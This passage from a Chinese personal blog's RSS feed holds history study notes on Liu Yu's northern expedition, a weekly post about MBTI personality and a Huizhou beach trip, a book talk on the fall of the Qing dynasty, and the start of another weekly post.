北伐的目标是此时由慕容德在山东半岛建立的南燕政权
刘裕的行军路线如下图：先走水路到达下邳，按照以往北伐的经验，刘裕应该从下邳继续走水路
●一条自下邳北上，走沂水进入山东；（下图最右黑线）
●一条自泗水走汶水随后插入鲁郡走泰山路线插入山东。（下图中间黑线）
●一条自泗水走桓公渎然后进入济水随后从北面插进山东。（下图最左黑线）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmZJy8ZaVD37XwzXTkpTGkHYK9PSrrjMMY1DLCQCqkvVjc.png&quot; alt=&quot;DraggedImage-14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但你能想到的，敌人也能想到，南燕早就设置好了防线等着你来，况且看上去最短的沂水，实际上因为很久没有走过了，还需要疏浚河道，如果往北又拖太久了。
此时的政治背景下，刘裕必须要速战速决&lt;/p&gt;
&lt;p&gt;因此刘裕从下邳后放弃水路，步行至琅琊，再到东莞，最后直接插入大舰山
为什么要走山路？因为山地陡峭林木茂密不适合燕军的骑兵冲击，而且出了大舰山后离南燕的首都广固就很近了，说不定可以一战灭国（事实上也正是这样的）&lt;/p&gt;
&lt;p&gt;但实际上这是很冒险的行为，因为你必须要祈求大舰山的出口没有被敌人封锁，而且你出山之后敌人没有坚壁清野，你得有粮草补给（从大舰山运粮肯定是噩梦）&lt;/p&gt;
&lt;p&gt;但历史有时候就是这样，时来天地皆同力，说的就是刘裕这种情况&lt;/p&gt;
&lt;p&gt;因为南燕啥都没做，就眼睁睁地看着刘裕从大舰山钻出来，当刘裕出来的时候，其实他就知道他赌对了，这场仗一定能打赢了&lt;/p&gt;
&lt;p&gt;出山之后，南燕慕容超亲自率领步骑4w赶来，刘裕的手下也不知吃素的&lt;/p&gt;
&lt;p&gt;军达临朐，与贼争水，龙符单骑冲突，应手破散，即据水源，贼遂退走&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQjD4sr8Gj8KzASpribZJCPJcpBBriBSQPgD74RFMQRDu.png&quot; alt=&quot;DraggedImage-15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后续刘裕摆出却月阵法，这个车阵就是类似于一个移动的加强盾牌方阵，车的吨位大，能够阻止骑兵冲击，然后步兵在车后面扎人，弓兵在车阵后面放箭。成功抵挡住了南燕骑兵的冲锋&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcWQn9ZfLVCXsrv4JamWW5wm9X5iZr8VG5Q4BQHxcjfDa.png&quot; alt=&quot;DraggedImage-16&quot; /&gt;&lt;/p&gt;
&lt;p&gt;元嘉草草，却赢得仓皇北顾&lt;/p&gt;
&lt;p&gt;公元450年，刘义隆北伐示意图：
从这张图上可以看到，此时南方的刘宋政权是很占优势的，九宫格里面，南方至少占据了6个格
北伐的问题？
战线拉的太长了，各支军队协同难以保证，而且你要意识到一个点，地球是一个球体，南方是在低纬度，相同的维度距离更长，这就像石头剪刀布一样，南方先出了个布
结果呢，东边进军的王玄谟在滑台一战失利，宋军精锐尽丧，北魏一路反推至建康城下，但终究由于北方军队推进过快，沿途路上还有多座城池并未攻克，拓跋焘也不敢真正渡江，随机班师&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSBFv2PBSvaBmi9nSbhXaNnRyryoFiqgnbjCH8DwQbFzj.png&quot; alt=&quot;DraggedImage-17&quot; /&gt;&lt;/p&gt;
&lt;p&gt;几个问题讨论
1.卫青为什么能改良骑兵作战技术
个人：卫青本身就是青年将领，敢于革新技术
敌人：匈奴作战的特性就是利则进，不利则退，所以面对一群冲上来的人，本能的反应就是跑
国家：文景之治后战马充足，拼消耗战拼的赢匈奴
让对自己不利的条件，重新转化到适合自己的条件下来&lt;/p&gt;
&lt;p&gt;2.马镫发明的必要性？
本质是作战对象发生了变化&lt;/p&gt;
&lt;p&gt;3.少数民族为什么要汉化，汉化的本质是什么？&lt;/p&gt;
&lt;p&gt;4.《史记》充满了私货，你怎么看待司马迁这种写法？
《史记》充满了私货，但人活一辈子，连点私货都没有，还活个什么劲呢？—你说官方的正史不应该有私货，对，但《史记》本来就是个人创作啊。是后人把它追认为正史之首的，是充满了私货的《史记》给正史这个序列增加了光荣，而不论是不是正史，都不会影响《史记》的价值&lt;/p&gt;
&lt;p&gt;5.历史的宏大叙事和个体叙事，你更喜欢哪一个？&lt;/p&gt;
&lt;p&gt;让我想起一句话，历史书翻过一页，背后就是无数个人的一生&lt;/p&gt;
&lt;p&gt;历史有时候是成王败寇，是从结果去反推原因的。譬如我们都知道袁绍被曹操打败了，但我们不能就因此觉得袁绍很蠢，b站有个up叫渤海小吏，深入分析了官渡之战的每一个细节，用事实告诉我们，历史是有因果的，是有细节的&lt;/p&gt;
&lt;p&gt;以前读过一本书叫《芥子》，芥子和须弥是相对的，都是佛教用语。须弥是无穷大，芥子就是无穷小的意思。所以，《芥子》这本书就是讲历史上的小人物，比如，曲有误，周郎顾。这本书不会去讲周郎，而是写那个弹琴的侍女，写她的生活，写她的情感，写她弹琴时那一点调皮的心理活动。这也我所喜欢的历史故事&lt;/p&gt;
&lt;p&gt;我也读《明朝那些事》，我觉得明朝那些事写的最好的两个人，也是最好哭的两个故事，一个是李时珍，一个是徐霞客&lt;/p&gt;
&lt;p&gt;“无论徐阶是否斗倒了严嵩，无论张居正是不是一个杰出的改革家，都不关李时珍的事，他只是一个医生。他知道，生命很珍贵，也很柔弱，作为一个医生，有责任和义务去维护生命的存在。”&lt;/p&gt;
&lt;p&gt;“我只是个平民，没有受命，只是穿着布衣，拿着拐杖，穿着草鞋，凭借自己，游历天下，故虽死，无憾。”&lt;/p&gt;
&lt;p&gt;5 . 徐霞客的原话是，吾荷一锸来，何处不可埋吾骨耶？就是说我扛着我的锄头遍历天下，哪一处地方不可以埋葬我呢。这是我语文老师教我们的，我能感受到她对于徐霞客的喜爱，刚好当年明月，也把他放在结尾，用这样一个故事，收束了长达两百多年的明朝。这也是作者想表达的：成功就是，用我们自己的方式，度过一生&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报30 ENFJ人格、双月湾拾遗与阅读笔记</title><link>https://rayepeng.net/posts/weekpost30/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost30/</guid><pubDate>Sat, 03 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报30 ENFJ人格、双月湾拾遗与阅读笔记&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmYppYS1DvzrkQEHaZoPsfKzPkqaZRX4p1aLzuVGXrruUN.png&quot; alt=&quot;image-20240803175850282&quot; /&gt;&lt;/p&gt;
&lt;p&gt;终日昏昏醉梦间，忽闻春尽强登山。
因过竹院逢僧话，偷得浮生半日闲。
—— 李涉 《题鹤林寺僧舍》&lt;/p&gt;
&lt;p&gt;好久没有过这么平静的下午了，能够继续翻看没有看完的《香料之路》， 继续switch游戏里的冒险，继续坐在电脑桌前倾听手指敲击茶轴的声响，感受键盘回弹的清脆。&lt;/p&gt;
&lt;p&gt;实在是太忙了，但是我竟然不知道在忙什么，是忙着规划日程？忙着在微信群和一群明知没有任何关系的人，争论着一些明知无关紧要的话题，卖弄着一些明知谁也不在乎的故作高深？&lt;/p&gt;
&lt;p&gt;恐怕如此吧，我已经有些厌倦了，若说年轻有什么缺点，那就是太过于和别人比较，过于执着说服他人， 尤其是喜欢读书的人恐怕更是如此&lt;/p&gt;
&lt;p&gt;我更喜欢跟随作者约翰·凯伊的脚步，探索《香料之路》中敢于舍身冒险的船长脚步，拨开弥漫在大海上的迷雾，我更喜欢跟着斑鸠、黄老板、霉霉的歌声不停抖腿，跺jiojio，感受到纯粹韵律带给我的美好&lt;/p&gt;
&lt;p&gt;幸好我意识到了，开始及早脱身出来，享受属于自己的一方小小天地。此间虽如果壳般渺小，却亦足以安居。&lt;/p&gt;
&lt;p&gt;（其实还是欠的东西实在是太多了，于是打算继续接着写几篇，后续也会保持一定的更新频率的）&lt;/p&gt;
&lt;p&gt;ENFJ人格&lt;/p&gt;
&lt;p&gt;现在确实是越来越流行mbti人格了，所第一次知道这个测试开始，我前后在不同时段做过三次，每次的结果都是ENFJ-A，也就是俗称的“大剑”，而且据说该种人格特征的人非常少，虽然从概率角度上，要四个字母都完全相同本身就比较低，但至少从我身边的样本来看，我所认识的同为ENFJ-A人格的人在5个以下。&lt;/p&gt;
&lt;p&gt;前几日跟小狐狸（她也是ENFJ-A）讨论起来，ENFJ的显著特征如下图。几乎其中的每条特征都能精准命中我俩。随便举几条：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;比较难维持佛系和摸鱼的状态，虽说大部分人如此，但我是真的觉得自己很难完全去放松下来，那种gap个一两年出去旅游在我看来都是天方夜谭（&lt;/li&gt;
&lt;li&gt;认为众生平等，非常反感“人上人”之说。也可能大部分人如此，但我是真的有看到过，都4202年了，依然觉得国外的月亮更圆的人，在微信群里大吵了一番&lt;/li&gt;
&lt;li&gt;看起来高冷不太好接近，我上学的时候就一直被吐槽很高冷，但其实熟悉我的人都知道，只要你问我问题我都会倾尽所有去解答，哪怕是暂时想不明白的，也一定会优先想清楚后再告诉对方，甚至有时候连上课都顾不上&lt;/li&gt;
&lt;li&gt;兴趣广而不深，只能说别骂了别骂了
以及种种种种，只能说太贴合了。。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTVaQZuhG4cp9rgqWNYZP24kEtASZpfw9Fb4oeiei24zj.png&quot; alt=&quot;image-20240803160630049&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXQKu1NGtYuxPoQaC2qMWVncsyemxKb2mizmmR4j2ygir.png&quot; alt=&quot;image-20240803160659864&quot; /&gt;&lt;/p&gt;
&lt;p&gt;6.22~6.23 惠州双月湾拾遗与入手索尼A7C2&lt;/p&gt;
&lt;p&gt;惠州本身离深圳就不算远，去程不堵车的话也就两个半小时。巽寮湾，小径湾，双月湾算是惠州最有名的三个景点了，自动来深圳上班之后，团建的扫尾路线多半都是去这几个地方，巽寮湾甚至去过了两次！&lt;/p&gt;
&lt;p&gt;一次是中心组织的团建，现在提起来都是满口的怨言，大下午火辣辣的太阳下，我们居然在天台上搞你画我猜等一些老掉牙的团建活动🤣。&lt;/p&gt;
&lt;p&gt;另一次则是小组内组织的团建，leader心血来潮要带我们自驾去度假一天，详情参见 &lt;a href=&quot;https://rayepeng.net/weekpost21&quot;&gt;周报21 惠州、新域名与阅读分享&lt;/a&gt;，也是临时组织起来，差点打乱我原本的计划安排。&lt;/p&gt;
&lt;p&gt;曾经某次刷短视频的时候看到过一个吐槽，当你出去团建的时候同事浓度超过90%的时候，这就已经不再是团建而是上班了，我只能说确实如此（所以今年的团建甚至都不太想参与，毕竟也不一定有报销补贴）。但心里还是想着，什么时候能和自己认识的玩得好小伙伴们一起出去玩一次啊！&lt;/p&gt;
&lt;p&gt;川哥果然组织起来了，于是毫不犹豫的报名了。原本这次去双月湾的初衷是为了拍日出日落，毕竟6月深圳真的难得天晴一次！于是，五人小队在短时间内很快就成团了，都是通过读书会认识的好朋友们，章鱼，王律，满格，川哥+我，终于能够满足和好朋友们一起出去玩的心愿了！&lt;/p&gt;
&lt;p&gt;我曾总是喜欢以不同的视角去观察一个城市，喜欢用脚步去丈量一座城市的长度，感受其中的一花一叶。但却从来没想过真的要入手一个相机，但借着这次去惠州拍照玩耍的契机，在川鸽的强烈安利及详尽的参数对比下，周一当天就下单了索尼A7C2 + 腾龙28-200镜头，一瞬间就入坑了🤣。&lt;/p&gt;
&lt;p&gt;惠州的行程倒是没有出现太多意外，但我竟真的没料到，6月22日当晚的晚霞竟会那么好看~！我们抵达民宿休息短时间后（当然我打开电脑开始加班了因为过两天就要给老板汇报），出门就遇上了大雨，等待雨过天晴之后，登上双月湾观景台，方才明白双月湾名字的来源（拍不好直接用小红书的图吧）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmf3YGgyWepoCsuWyC7QYH1jbvh1wMvW5ZWDoeWyYYpFeg.jpeg&quot; alt=&quot;image-20240803151105546&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于刚下过雨，所谓观景台能观的景并不是很美，还贼热。索性直接下山前往情人堤，此时天光稍暗，堤岸边散落着稀稀落落的人，落日竟仿佛如同刚睡醒一样，透过云层懒懒地散出几道光芒，搭配上远处雾霭朦胧下的重叠的山峦，站在沙滩上眺望，会疑心此时的时间是不是错乱了。&lt;/p&gt;
&lt;p&gt;放上章鱼模特的原图直出照~！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmNvWuMP72fiveaMdgpsat7Y4X2atqa6kVYZVM6TorXao4.jpeg&quot; alt=&quot;image-20240803151721271&quot; /&gt;&lt;/p&gt;
&lt;p&gt;沈复曾在浮生六记中记载：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;于是相挽登舟，返棹至万年桥下，阳乌犹未落山。舟窗尽落，清风徐来，纨扇罗衫，剖瓜解暑。少焉，霞映桥红，烟笼柳暗，银蟾欲上，渔火满江矣。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;重点是这句： &lt;strong&gt;少焉，霞映桥红，烟笼柳暗&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;谁可曾想到，我们马上就见到了&lt;strong&gt;霞映桥红&lt;/strong&gt;~！&lt;/p&gt;
&lt;p&gt;多说无益，直接放图吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmabSU8CjNsSqZy1euSLWKKDZUN4rtr8tbPYCuz3NUQkcV.jpeg&quot; alt=&quot;image-20240803152826365&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmaSxKbRckV7PYyT563cra3jBgkU2WHhpGzNUb5LSNCYC4.jpeg&quot; alt=&quot;image-20240803152837936&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmZPPERGRNXmqBWrVP9PGFGJs47poJNJRCnAngREoy3XQq.jpeg&quot; alt=&quot;image-20240803152848687&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这中间还发生了一个小插曲，让我这个不太相信玄学的人又一次觉得冥冥之中可能自由天数吧。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;起因是当天逐渐暗下的时候，此时我们还没意识到即将到来的晚霞，于是一行人在沙滩上漫步准备去附近的饭馆大快朵颐。谁曾想此时晚霞突然出现，于是徘徊在沙滩上，奈何用手机拍照实在是不尽兴，于是章鱼拉上我快跑会停车的地方去拿相机
此时到了车旁才意识到车窗居然没完全关上！！！章鱼的相机就在后座，若是有心人伸手即可顺走，那一瞬间我们感觉非常后怕，我开玩笑说可能冥冥之中真的有天意吧，这个晚霞拯救了你的相机&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;临近晚上9点，海边的烟花声不绝于耳，新手摄影师第一次拍烟花感觉实在是太难了，用川鸽的图吧：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qma9MZQNyKsaXoCTdnBy2w5ChbHu9XvcDxknhjFCsWR7QC.jpeg&quot; alt=&quot;image-20240803153016437&quot; /&gt;&lt;/p&gt;
&lt;p&gt;烟花往往代表了一瞬间的美好，代表了终将逝去的繁花，每个人都有各自的解读，但如果是燃放一整晚的烟花恐怕就没那么幸运了🤣。当晚就我和满格睡得比较好，由于被子比较短，两个人半夜互扯被子，迷迷糊糊之中我脱口而出，恐怕这就是为什么需要”人类补完计划”吧（EVA乱入）&lt;/p&gt;
&lt;p&gt;川鸽、章鱼和王律就没那么好运了，整晚的烟花+楼下ktv的声音让他们基本没睡着，当我五点多爬起来准备拍日出的时候，他俩已经拍了好久了，只可惜这次天公不作美，日出被层云遮挡住，无缘美景。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcUu83myu27nA3Lsv7zpEKSsGZMKWn4RUQ7GfRmYBC1h2.jpeg&quot; alt=&quot;image-20240803153418978&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmfLr878KB1Aho3opeWwvTpT5vjPxXFnXcNSp1pKiC3Aii.jpeg&quot; alt=&quot;image-20240803153429524&quot; /&gt;&lt;/p&gt;
&lt;p&gt;收拾启程后，章鱼带我们去吃了一家巨巨巨巨好吃的海鲜店，恐怕能记一辈子了（80岁之后要考的🐶）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmaYyMpiR4k3bbZMZ72ZkDJRtXGMxFyzZp9pFs7LF8hYN8.jpeg&quot; alt=&quot;image-20240803153524256&quot; /&gt;&lt;/p&gt;
&lt;p&gt;返程途中还有一张绝美的照片：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmaYWCHzjenxkWL78Mv9nwbUyHCrcwtnTrbjMXS6WNDmHX.jpeg&quot; alt=&quot;IMG_8967&quot; /&gt;&lt;/p&gt;
&lt;p&gt;返程回科兴后紧接着的是小狐狸《公主之死》的分享会，一群人等着我的电脑投屏呢（对就是我加班用的电脑，callback了）， 原谅我们路上堵车耽误了几分钟🤣&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmbHik4M7Yt1BCXeK772DwViyBpQNB132F9hNgkAtLwvi3.jpeg&quot; alt=&quot;image-20240803153724168&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结束之后，木屋烧烤喝酒happy ending~！ 桃李春风一杯酒，江湖夜雨十年灯。（而我，还要回去继续肝汇报的材料）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmeg5EJ1kU12NvFFVyJ7ijuDP1k3YYBy1o42c2TN81rnPV.jpeg&quot; alt=&quot;image-20240803153714860&quot; /&gt;&lt;/p&gt;
&lt;p&gt;肝完报告，真正的happy ending🤣&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmScWS3Gvo8dFUZEELc7k4SjNvjFc9GSmTeXHudGGnASfp.png&quot; alt=&quot;image-20240803153907524&quot; /&gt;&lt;/p&gt;
&lt;p&gt;阅读——大清为何轰然倒塌&lt;/p&gt;
&lt;p&gt;6月29日我主持了一次大概20分钟的草坪分享，文稿参见：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://rayepeng.net/daqingwhydie&quot;&gt;大清为何轰然倒塌——读书分享 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但在分享会组织中也是一波三折，简而言之主要是野餐垫数量不够，下午刚下过雨导致天气过于闷热，未提前做好应急预案等等。&lt;/p&gt;
&lt;p&gt;但好在小伙伴们也都非常理解（真的太难了）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/image-20240803175119000.png.html&quot; alt=&quot;400&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;这本书虽然标题有点噱头，但内容质量确实很棒，为此我还特地写了一篇短评发在微信读书里，现在过了有一个多月来看，竟然得到了很多人的点赞与认同。&lt;/p&gt;
&lt;p&gt;这里也粘贴下我写的内容：&lt;/p&gt;
&lt;p&gt;历史是有因果的，历史是不断演化的，历史也是充满机遇与巧合的。&lt;/p&gt;
&lt;p&gt;晚清这段历史，不是所谓教科书上各种丧权辱国条约的签订，不是所谓几次变法，不是所谓「武昌起义一声枪响，标志着 xxxxx」可以一页翻过的，面对晚清这个可以称之为封建时代强大的「百足之虫」，面对三千年未有之大变局，面对新旧思想的激烈碰撞，这是中华民族的一次自我革命，这场革命，涉及到国家主权、人民、金融、政治等各个方面的重新认识，其改造程度无异于一次分娩时的阵痛，无异于一个病人的全身大换血，无异于这片土地上一个民族的自我涅槃。&lt;/p&gt;
&lt;p&gt;提起令人沉痛的近代史，我们总会为那些条约，那些压迫而感到耻辱，但真正让人痛心的，是其中的人，自「我自横刀向天笑，去留肝胆两昆仑」谭嗣同血荐轩辕始，无数的人，无数思想觉醒的学子，无数为革命牺牲的战士，无数为了一个口号而往前冲锋的普通农民、小摊贩、甚至流氓痞子、市井无赖。他们或因 个人品性、或因志向不一、或因无知懵懂，不一定受时人待见，但却都梦想着推倒这个旧世界，梦想着建立一个他/她们想要的中国&lt;/p&gt;
&lt;p&gt;最后，以孙中山同志的这句话结尾吧：&lt;/p&gt;
&lt;p&gt;「革命尚未成功，同志仍需努力」&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmVkNBQy1sR3R76mGAMMbYDeFKp1Rf2Z5eQxNfK9acm3mG.jpeg&quot; alt=&quot;image-20240803175541253&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一些值得分享的记录&lt;/p&gt;
&lt;p&gt;欢迎join我的频道，https://t.me/RayeJourney&lt;/p&gt;
&lt;p&gt;我就懒得去摘录出来了，写完好累啊hhh&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>大清为何轰然倒塌——读书分享</title><link>https://rayepeng.net/posts/%E5%A4%A7%E6%B8%85%E4%B8%BA%E4%BD%95%E8%BD%B0%E7%84%B6%E5%80%92%E5%A1%8C%E8%AF%BB%E4%B9%A6%E5%88%86%E4%BA%AB/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%A4%A7%E6%B8%85%E4%B8%BA%E4%BD%95%E8%BD%B0%E7%84%B6%E5%80%92%E5%A1%8C%E8%AF%BB%E4%B9%A6%E5%88%86%E4%BA%AB/</guid><pubDate>Sat, 03 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;大清为何轰然倒塌——读书分享&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmUwmrTSvT6gaK9WBrQepgdB6JtAJ1etUHWDft4A1mJCLw.png&quot; alt=&quot;daqingweihe&quot; /&gt;&lt;/p&gt;
&lt;p&gt;大家好，我叫raye，应该没有人不认识我了吧，这次草地分享，给大家带来这本《大清为何轰然倒塌》&lt;/p&gt;
&lt;p&gt;我还是第一次尝试这种草地形式的分享，时间也比较短，不知道能不能把我想要表达的讲清楚，不过我们还是开始吧&lt;/p&gt;
&lt;p&gt;关于中国近代史，我想很多人应该都有一个基本的概念吧，1840年，南京条约签订，有没有谁记得条约内容呢？&lt;/p&gt;
&lt;p&gt;我还记得比较清楚，主要就是赔款割地、开放通商口岸（广州福州厦门宁波上海）以及关税协定&lt;/p&gt;
&lt;p&gt;中国近代史自此就开始了，而此时懵懂的大清王朝，还不知道，西方早就在1500年文艺复兴，进入了大航海时代，开启了近代史的篇章，我们这个古老的东方文明，已经落后于世界200多年了&lt;/p&gt;
&lt;p&gt;那么大家知道，近代中国，“开眼看世界”的第一人是谁呢？没错，就是那位写下“苟利国家生死以，岂因祸福避趋之”的林则徐，这句诗的含义呢，就是说“如果对国家有利，我可以不顾生死。岂能因祸而逃避，见福就趋附呢”。背景则是写于林则徐虎门硝烟，抗击英军有功之后，却被朝中的投降派诬陷，发配新疆伊犁，林则徐在西安和妻子离别的时候，写下了这句诗&lt;/p&gt;
&lt;p&gt;这也就导致了，除了知道他主持虎门硝烟之外，我们对于林则徐的了解甚少。李硕老师，也就是写下《翦商》这本书的作者，特地为林则徐写了一篇文章，记录了林则徐在新疆生活的点点滴滴，并将其在文学上的造诣，堪与苏东坡的流放生涯和诗文比肩。林则徐本是东南沿海的福建人，却被贬谪到了大西北，这让我想到了苏轼曾写到的一句词，“家在西南，常作东南别”，林则徐则是，“家在东南，常做西北别”。但他也实际践行了自己的诺言，足迹遍布天山南北，环塔里木绿洲诸城，留下了大量的诗文、日记，在他编写的《四洲志》中，还预言了沙俄将要对中国北方的侵略。&lt;/p&gt;
&lt;p&gt;除林则徐外，晚清的汉族大臣们，曾国藩、左宗棠、张之洞、李鸿章，这晚清四大名臣，同样也是晚清四大权臣，各有各的功绩，曾国藩挽狂澜于即倒，打败了太平天国。左宗棠抬棺出征，先北后南，缓进急战，张之洞、李鸿章兴办洋务，这四大权臣，而且是汉人。钱穆先生曾在《中国历代政治得失》中全篇吐槽清朝，认为是一种建立在对汉人压迫之上，维护满族利益的制度。虽然钱老的言语上可能有不妥之处，但满汉势力的平衡则是一直在宣在清朝爱新觉罗氏头上的一把利剑。权力这个玩意，它天生就有排他性，尤其是皇权制度下，一旦你开了个口子，就再也难以收回来了。这也是这本书第一章所提到的，清朝倒塌的原因之一，汉臣势力的崛起&lt;/p&gt;
&lt;p&gt;居庙堂之高，则忧其民，处江湖之远，则忧其君。聊完了庙堂，我们来看看江湖，但这所谓的江湖，其实和历朝历代的造反没什么两样。秦末有“大楚兴，陈胜王”，有“王侯将相宁有种乎”，汉末有“苍天已死，黄天当立”，元末有“石人一只眼，挑动黄河天下反”，熟悉的配方，熟悉的味道。如果不出意外的话，这群造反的人又将和庙堂上的权臣们来回拉扯，当然我们都知道，要么就是沦为他们功劳簿上的一笔笔战功，要么就是被后起之秀给摘了桃子。本质上，中国古代是没有革命，之有造反的。因为其本质上，都是“彼可取而代之”，“皇帝轮流坐，明天到我家”。&lt;/p&gt;
&lt;p&gt;不过还是要介绍下这三大会党，洪门、青帮、哥老会，如果单说名字可能不知道，但如果说到他们的老大你们就会很清楚了，天地会(洪门)陈近南、青帮杜月笙、哥老会朱德。我们经常在影视剧里可以看到对，这些会党干的基本都是杀人越货的黑社会一类勾当，当然哥老会可能比较好一点。但我们不要忽视了，在孙中山屡次失败的起义中，就是他们在出力。你可以将他们看做唯利是图、我们所不齿的小人，是无法和庙堂权臣、孙中山这一类人堪比肩的，但假设我们生活在那个乱世之中，&lt;/p&gt;
&lt;p&gt;既然已经提到了孙中山了，那我们就来讲讲最后一条线，也就是革命党人。这一次我们讲到的是一伙书生，用血肉之躯，打破了“重复重复再重复”的循环，开始第一次将“革命”这个概念给普及开来&lt;/p&gt;
&lt;p&gt;为什么说“革命”这个词这么难理解呢？鲁迅写的特别好，他笔下的阿Q说看到革命党“白衣白甲，戴着崇祯皇帝的孝”，你看清朝都200多年了，居然还有人记得崇祯皇帝，认为这些革命党人，你们所谓口中天天的“革命”，还有鲁迅在《药》中所写到的， “他说：这大清的天下是
我们大家的”，
打破旧的思想枷锁，是一件很难的事情，鲁迅怕是深有体会
书中有一句话说的很好：
“社会主义”是给读书人听的，“打土豪分田地”才是留给未庄的阿Q们听的。“消费升级”是个玄学，“拼多多百亿补贴”才是句好口号&lt;/p&gt;
&lt;p&gt;我在这本书的点评里写到，读近代史的时候，最痛心的不是签订了多少丧权辱国的条约，而是这其中的人，是写下「我自横刀向天笑，去留肝胆两昆仑」，为中国变法流血牺牲的第一人谭嗣同，是写下「天地方兴三字狱，但期吾道不终孤」，最后在浏阳门外被斩首，时年22岁的刘道一，是写下「秋风秋雨愁煞人」，巾帼不让须眉，在古轩亭口慷慨赴义的秋瑾&lt;/p&gt;
&lt;p&gt;顺带一提，谭嗣同也是我老乡，浏阳现在还有一条路就叫嗣同路&lt;/p&gt;
&lt;p&gt;《赵氏孤儿》中，公孙杵臼问程婴：“死和把孤儿养大相比，哪个难？”——“立孤与死孰难？&lt;/p&gt;
&lt;p&gt;戊戌事败，谭嗣同对梁启超说：“程婴杵臼，吾与足下分任之。”之后从容就义。革命党人，早就将生死置之度外，只是“引刀成一快”固然不易，“同志仍需努力”只有更难。&lt;/p&gt;
&lt;p&gt;立孤与死孰易？死易。革命与赴死孰难？革命难。&lt;/p&gt;
&lt;p&gt;在革命事业最灰暗的时候，活下来的这些人是最不容易的，其中就有我们的孙中山同志，书中详细介绍了他在革命低谷期所做的种种努力，推荐大家直接去读原文，包括他为了筹措军饷、装备所遇到的各种困难&lt;/p&gt;
&lt;p&gt;讲到这里呢，其实我们已经能大体知道，在晚清倒牌的过程中，汉臣、会党、革命党他们所扮演的角色，如果要按照狼人杀来做比方的话，汉臣就是女巫或者守卫，他们可能救错了人，也可能守卫错了人，会党则是平民，在革命党所扮演的预言家的感召下，一齐归票投掉了狼，最终获得了比赛的胜利&lt;/p&gt;
&lt;p&gt;可能我的讲述不够严谨，有任何问题都可以跟我讨论，但主讲人一般会自动获得“我说的都对的”buff，哈哈哈哈，欢迎～&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报29 人有悲欢离合</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A529-%E4%BA%BA%E6%9C%89%E6%82%B2%E6%AC%A2%E7%A6%BB%E5%90%88/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A529-%E4%BA%BA%E6%9C%89%E6%82%B2%E6%AC%A2%E7%A6%BB%E5%90%88/</guid><pubDate>Tue, 30 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报29 人有悲欢离合&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQoE1h9q9kjAxdB1yphZnz1D1vhm8X9TJNHu6CtLyw1cz.png&quot; alt=&quot;weekpost29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我似乎总是喜欢在一个人的旅途中写作的，就连这一段开头也是在晃荡的公交车上用手机写下的。&lt;/p&gt;
&lt;p&gt;狂放不羁的刘伶曾说过，“行无辙迹，居无室庐，幕天席地，纵意所如”，以地为席，以天为盖，这得有多浩大的想象力，才会把天地都当做自己的陪衬。&lt;/p&gt;
&lt;p&gt;所谓“躲进小楼成一统，管它春夏与秋冬”，于我而言总是觉得不太合时宜，反倒是在摇摇晃晃的地铁公交上、在人流熙熙攘攘的公园草地旁，才能激发出我最恣意的灵感，写下一些不足道哉的文字。&lt;/p&gt;
